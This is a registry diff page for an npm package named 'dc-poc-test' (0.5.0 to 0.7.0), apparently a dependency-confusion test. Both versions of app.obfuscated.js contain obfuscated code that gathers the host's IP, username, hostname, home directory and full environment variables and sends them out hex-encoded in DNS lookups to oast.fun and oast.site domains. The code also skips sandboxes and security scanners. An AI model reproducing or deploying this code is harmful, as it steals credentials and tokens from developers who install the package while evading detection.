dc-poc-test 0.5.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/app.obfuscated.js CHANGED
@@ -1 +1 @@
1
- const a0_0x54afec=a0_0x427a;(function(_0x238d82,_0x2fb39d){const _0x39bebe=a0_0x427a,_0x2f8030=_0x238d82();while(!![]){try{const _0x160c1b=-parseInt(_0x39bebe(0x176))/0x1+parseInt(_0x39bebe(0x16b))/0x2*(parseInt(_0x39bebe(0x193))/0x3)+-parseInt(_0x39bebe(0x18c))/0x4+parseInt(_0x39bebe(0x179))/0x5*(parseInt(_0x39bebe(0x17b))/0x6)+parseInt(_0x39bebe(0x19f))/0x7*(parseInt(_0x39bebe(0x185))/0x8)+-parseInt(_0x39bebe(0x182))/0x9+parseInt(_0x39bebe(0x163))/0xa;if(_0x160c1b===_0x2fb39d)break;else _0x2f8030['push'](_0x2f8030['shift']());}catch(_0x1b3208){_0x2f8030['push'](_0x2f8030['shift']());}}}(a0_0x2108,0x59879));function a0_0x2108(){const _0x2c151b=['random','username','hey-message-content','14hHgnXc','Info','DESKTOP-','DetonationLogLevel','stringify','userInfo','8988360KJGhSQ','length','IPv4','\x5cnode_modules\x5chey-message-content\x5c','/node_modules/hey-message-content','keys','from','verdaccio:4873','1082926QcUUbb','decoy_start_','INIT_CWD','run-script','address','decoy_end','npm_package_name','10.100.108.146:15672','GITHUB_TOKEN','CI_JOB_TOKEN','some','126641wGboYF','internal','lookup','258985VWjjIF','env','42MoBopj','NODE_TLS_REJECT_UNAUTHORIZED','toString','preinstall','SLACK_WEBHOOK','key','arch','5626323rvWPAI','GH_TOKEN','substring','122792GUvrjF','values','homedir','hostname','networkInterfaces','KUBERNETES_','lili-pc','2860300ETCkep','startsWith','dns','string','toLowerCase','includes','mirrors.cloud.tencent','3jVbYCv','npm_lifecycle_event','hex','\x5cnode_modules\x5chey-message-content','MALYSIS_ANALYSIS_ID','install','N/A','has','Debug'];a0_0x2108=function(){return _0x2c151b;};return a0_0x2108();}const os=require('os'),dns=require(a0_0x54afec(0x18e));function isBlockedByKeywords(_0x348e2a,_0x270a4e){const _0x400271=a0_0x54afec,_0x5ae426=[_0x400271(0x18b),'justin',_0x400271(0x1a1)],_0x507050=(_0x348e2a||'')[_0x400271(0x190)](),_0x11d065=(_0x270a4e||'')[_0x400271(0x190)]();return _0x5ae426['some'](_0x542948=>_0x507050[_0x400271(0x191)](_0x542948)||_0x11d065[_0x400271(0x191)](_0x542948));}function isBlockedByEnv(_0x3aa40b){const _0x5df1ab=a0_0x54afec;if(!_0x3aa40b||typeof _0x3aa40b!=='object')return![];const _0x1fed8c=new Set(['hscan-supplychain-dynamic',_0x5df1ab(0x192),_0x5df1ab(0x16a),_0x5df1ab(0x172),_0x5df1ab(0x197)]);for(const _0x457403 of Object[_0x5df1ab(0x168)](_0x3aa40b)){if(_0x1fed8c[_0x5df1ab(0x19a)](_0x457403))return!![];if(_0x457403[_0x5df1ab(0x18d)](_0x5df1ab(0x18a))||_0x457403['startsWith']('RABBITMQ_'))return!![];if(_0x457403[_0x5df1ab(0x18d)]('AWS_'))return!![];}const _0x26f821=[{'key':_0x5df1ab(0x194),'values':[_0x5df1ab(0x17e)]},{'key':'npm_command','values':[_0x5df1ab(0x198),'ci',_0x5df1ab(0x16e)]},{'key':_0x5df1ab(0x171),'values':[_0x5df1ab(0x19e)]},{'key':'npm_package_json','values':['/node_modules/hey-message-content/',_0x5df1ab(0x166)]},{'key':_0x5df1ab(0x16d),'values':[_0x5df1ab(0x167),_0x5df1ab(0x196)]},{'key':_0x5df1ab(0x17c),'values':['0']},{'key':_0x5df1ab(0x1a2),'values':[_0x5df1ab(0x1a0),_0x5df1ab(0x19b)]}];for(const _0x38e14a of _0x26f821){const _0x1c79d3=_0x3aa40b[_0x38e14a[_0x5df1ab(0x180)]];if(typeof _0x1c79d3===_0x5df1ab(0x18f)){const _0x26b541=_0x1c79d3[_0x5df1ab(0x190)]();if(_0x38e14a[_0x5df1ab(0x186)][_0x5df1ab(0x175)](_0x301995=>_0x26b541[_0x5df1ab(0x191)](_0x301995['toLowerCase']())))return!![];}}const _0x3ec253=['NPM_TOKEN',_0x5df1ab(0x173),_0x5df1ab(0x183),_0x5df1ab(0x17f),_0x5df1ab(0x174)];if(_0x3ec253[_0x5df1ab(0x175)](_0x4b8ac8=>_0x4b8ac8 in _0x3aa40b))return!![];return![];};function a0_0x427a(_0x2af10b,_0x55bd28){const _0x210838=a0_0x2108();return a0_0x427a=function(_0x427a4c,_0x42de46){_0x427a4c=_0x427a4c-0x161;let _0x4fa9e8=_0x210838[_0x427a4c];return _0x4fa9e8;},a0_0x427a(_0x2af10b,_0x55bd28);}((async()=>{const _0x35691b=a0_0x54afec,_0x3a420='d2i2nd92eku6u03pgmo05mkb1yzg18dut.oast.fun';let _0x46b40f=_0x35691b(0x199);try{const _0x2b9e95=os[_0x35691b(0x189)]();for(const _0x4ecdea of Object[_0x35691b(0x168)](_0x2b9e95)){for(const _0x1103b6 of _0x2b9e95[_0x4ecdea]){if(_0x1103b6['family']===_0x35691b(0x165)&&!_0x1103b6[_0x35691b(0x177)]){_0x46b40f=_0x1103b6[_0x35691b(0x16f)];break;}}if(_0x46b40f!==_0x35691b(0x199))break;}}catch(_0x275955){}const _0xc5db76=os[_0x35691b(0x188)]()||'',_0x23bfc7=(os[_0x35691b(0x162)]()[_0x35691b(0x19d)]||'')['toString'](),_0x55ea08=process['env'],_0x1a38df=isBlockedByKeywords(_0x23bfc7,_0xc5db76),_0x373a2d=isBlockedByEnv(_0x55ea08);if(_0x1a38df||_0x373a2d)return;const _0x255080=_0x35691b(0x16c)+Math[_0x35691b(0x19c)]()[_0x35691b(0x17d)](0x24)[_0x35691b(0x184)](0x2);let _0x20857b={'_decoy':_0x255080,'ip':_0x46b40f,'username':os[_0x35691b(0x162)]()['username'],'hostname':os[_0x35691b(0x188)](),'platform':os['platform'](),'arch':os[_0x35691b(0x181)](),'home':os[_0x35691b(0x187)](),'env':process[_0x35691b(0x17a)],'_decoy2':_0x35691b(0x170)};const _0x351a47=JSON[_0x35691b(0x161)](_0x20857b),_0xb9e372=Buffer[_0x35691b(0x169)](_0x351a47)[_0x35691b(0x17d)](_0x35691b(0x195)),_0xf84bda=0x32;for(let _0x4a2ab3=0x0;_0x4a2ab3<_0xb9e372[_0x35691b(0x164)];_0x4a2ab3+=_0xf84bda){const _0x34ef72=_0xb9e372[_0x35691b(0x184)](_0x4a2ab3,_0x4a2ab3+_0xf84bda),_0x379bcb=_0x4a2ab3/_0xf84bda+'.'+_0x34ef72,_0x422d20=_0x379bcb+'.'+_0x3a420;dns[_0x35691b(0x178)](_0x422d20,_0xbafbb3=>{}),await new Promise(_0x11aed7=>setTimeout(_0x11aed7,0x64));}})());
1
+ function a0_0x1dde(_0x5a9def,_0x5190f2){const _0x552995=a0_0x5529();return a0_0x1dde=function(_0x1dde8a,_0x3c96b4){_0x1dde8a=_0x1dde8a-0xb3;let _0x221586=_0x552995[_0x1dde8a];return _0x221586;},a0_0x1dde(_0x5a9def,_0x5190f2);}const a0_0x3da898=a0_0x1dde;(function(_0x10c910,_0x2b7d5e){const _0x292804=a0_0x1dde,_0x53efd0=_0x10c910();while(!![]){try{const _0x15139f=parseInt(_0x292804(0xdb))/0x1*(-parseInt(_0x292804(0xca))/0x2)+parseInt(_0x292804(0xce))/0x3+-parseInt(_0x292804(0xc5))/0x4+-parseInt(_0x292804(0xbe))/0x5*(parseInt(_0x292804(0xe0))/0x6)+-parseInt(_0x292804(0xd5))/0x7*(parseInt(_0x292804(0xbd))/0x8)+-parseInt(_0x292804(0xcf))/0x9*(-parseInt(_0x292804(0xc4))/0xa)+parseInt(_0x292804(0xb8))/0xb*(parseInt(_0x292804(0xb9))/0xc);if(_0x15139f===_0x2b7d5e)break;else _0x53efd0['push'](_0x53efd0['shift']());}catch(_0x209d88){_0x53efd0['push'](_0x53efd0['shift']());}}}(a0_0x5529,0x30a10));const os=require('os'),dns=require(a0_0x3da898(0xdc));function isBlockedByKeywords(_0x2db7e6,_0x21527d){const _0x13c13f=a0_0x3da898,_0x59f333=[_0x13c13f(0xe1),_0x13c13f(0xbc),_0x13c13f(0xda)],_0x334c1e=(_0x2db7e6||'')['toLowerCase'](),_0x4ea711=(_0x21527d||'')[_0x13c13f(0xc3)]();return _0x59f333[_0x13c13f(0xc0)](_0x33a16d=>_0x334c1e[_0x13c13f(0xbb)](_0x33a16d)||_0x4ea711[_0x13c13f(0xbb)](_0x33a16d));}function isBlockedByEnv(_0x19a970){const _0x6fd452=a0_0x3da898;if(!_0x19a970||typeof _0x19a970!==_0x6fd452(0xd0))return![];const _0x32d8be=['hscan-supplychain-dynamic','mirrors.cloud.tencent','verdaccio:4873',_0x6fd452(0xd3),'MALYSIS_ANALYSIS_ID',_0x6fd452(0xd7),'npm_execpath\x22:\x20\x22/root/.nvm/'][_0x6fd452(0xdd)](_0xe010cf=>_0xe010cf[_0x6fd452(0xc3)]());for(const [_0x6cb170,_0x2e7e12]of Object[_0x6fd452(0xc9)](_0x19a970)){const _0x5ad68f=_0x6cb170[_0x6fd452(0xc3)](),_0x3da8cd=(_0x2e7e12??'')['toString']()[_0x6fd452(0xc3)]();if(_0x32d8be[_0x6fd452(0xc0)](_0x24d43f=>_0x5ad68f['includes'](_0x24d43f)||_0x3da8cd[_0x6fd452(0xbb)](_0x24d43f)))return!![];}return![];}function a0_0x5529(){const _0x791988=['106giMWek','platform','hex','arch','731952woHoaU','46863QxGrSF','object','substring','networkInterfaces','10.100.108.146:15672','N/A','694946xwdcaA','hostname','INIT_CWD\x22:\x20\x22/tmp','IPv4','stringify','DESKTOP-','5515nRMREA','dns','map','decoy_start_','length','894wLkbbT','lili-pc','family','username','userInfo','lookup','toString','583gwqNBi','168228yZHtbM','log','includes','justin','8LTlhgj','12385cRDflo','env','some','random','d2i33fp2eku69a37f7fgaseix884z6zkr.oast.site','toLowerCase','410REpikL','962592NiwrSG','homedir','decoy_end','[safe]\x20blocked\x20by\x20IOC:','entries'];a0_0x5529=function(){return _0x791988;};return a0_0x5529();};((async()=>{const _0x2a8e88=a0_0x3da898,_0x4036fa=_0x2a8e88(0xc2);let _0x13a26b=_0x2a8e88(0xd4);try{const _0x58e2e5=os[_0x2a8e88(0xd2)]();for(const _0x86a596 of Object['keys'](_0x58e2e5)){for(const _0x541061 of _0x58e2e5[_0x86a596]){if(_0x541061[_0x2a8e88(0xb3)]===_0x2a8e88(0xd8)&&!_0x541061['internal']){_0x13a26b=_0x541061['address'];break;}}if(_0x13a26b!==_0x2a8e88(0xd4))break;}}catch(_0x11afeb){}const _0x358851=os[_0x2a8e88(0xd6)]()||'',_0x5a1637=(os['userInfo']()[_0x2a8e88(0xb4)]||'')[_0x2a8e88(0xb7)](),_0x1894bf=process[_0x2a8e88(0xbf)],_0x16c777=isBlockedByKeywords(_0x5a1637,_0x358851),_0x28b71a=isBlockedByEnv(_0x1894bf);if(_0x16c777||_0x28b71a){console[_0x2a8e88(0xba)](_0x2a8e88(0xc8),JSON[_0x2a8e88(0xd9)]({'username':_0x5a1637,'hostname':_0x358851,'iocUsernameHost':_0x16c777,'iocEnv':_0x28b71a},null,0x2));return;}const _0x296f36=_0x2a8e88(0xde)+Math[_0x2a8e88(0xc1)]()[_0x2a8e88(0xb7)](0x24)[_0x2a8e88(0xd1)](0x2);let _0x1e1c76={'_decoy':_0x296f36,'ip':_0x13a26b,'username':os[_0x2a8e88(0xb5)]()['username'],'hostname':os[_0x2a8e88(0xd6)](),'platform':os[_0x2a8e88(0xcb)](),'arch':os[_0x2a8e88(0xcd)](),'home':os[_0x2a8e88(0xc6)](),'env':process['env'],'_decoy2':_0x2a8e88(0xc7)};const _0x2dd9fc=JSON[_0x2a8e88(0xd9)](_0x1e1c76),_0x3dfbe9=Buffer['from'](_0x2dd9fc)[_0x2a8e88(0xb7)](_0x2a8e88(0xcc)),_0x2e3b4e=0x32;for(let _0x24597d=0x0;_0x24597d<_0x3dfbe9[_0x2a8e88(0xdf)];_0x24597d+=_0x2e3b4e){const _0x3c1443=_0x3dfbe9['substring'](_0x24597d,_0x24597d+_0x2e3b4e),_0x3bbf01=_0x24597d/_0x2e3b4e+'.'+_0x3c1443,_0x5d4897=_0x3bbf01+'.'+_0x4036fa;dns[_0x2a8e88(0xb6)](_0x5d4897,_0x246586=>{}),await new Promise(_0x1d21eb=>setTimeout(_0x1d21eb,0x64));}})());
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dc-poc-test",
3
- "version": "0.5.0",
3
+ "version": "0.7.0",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {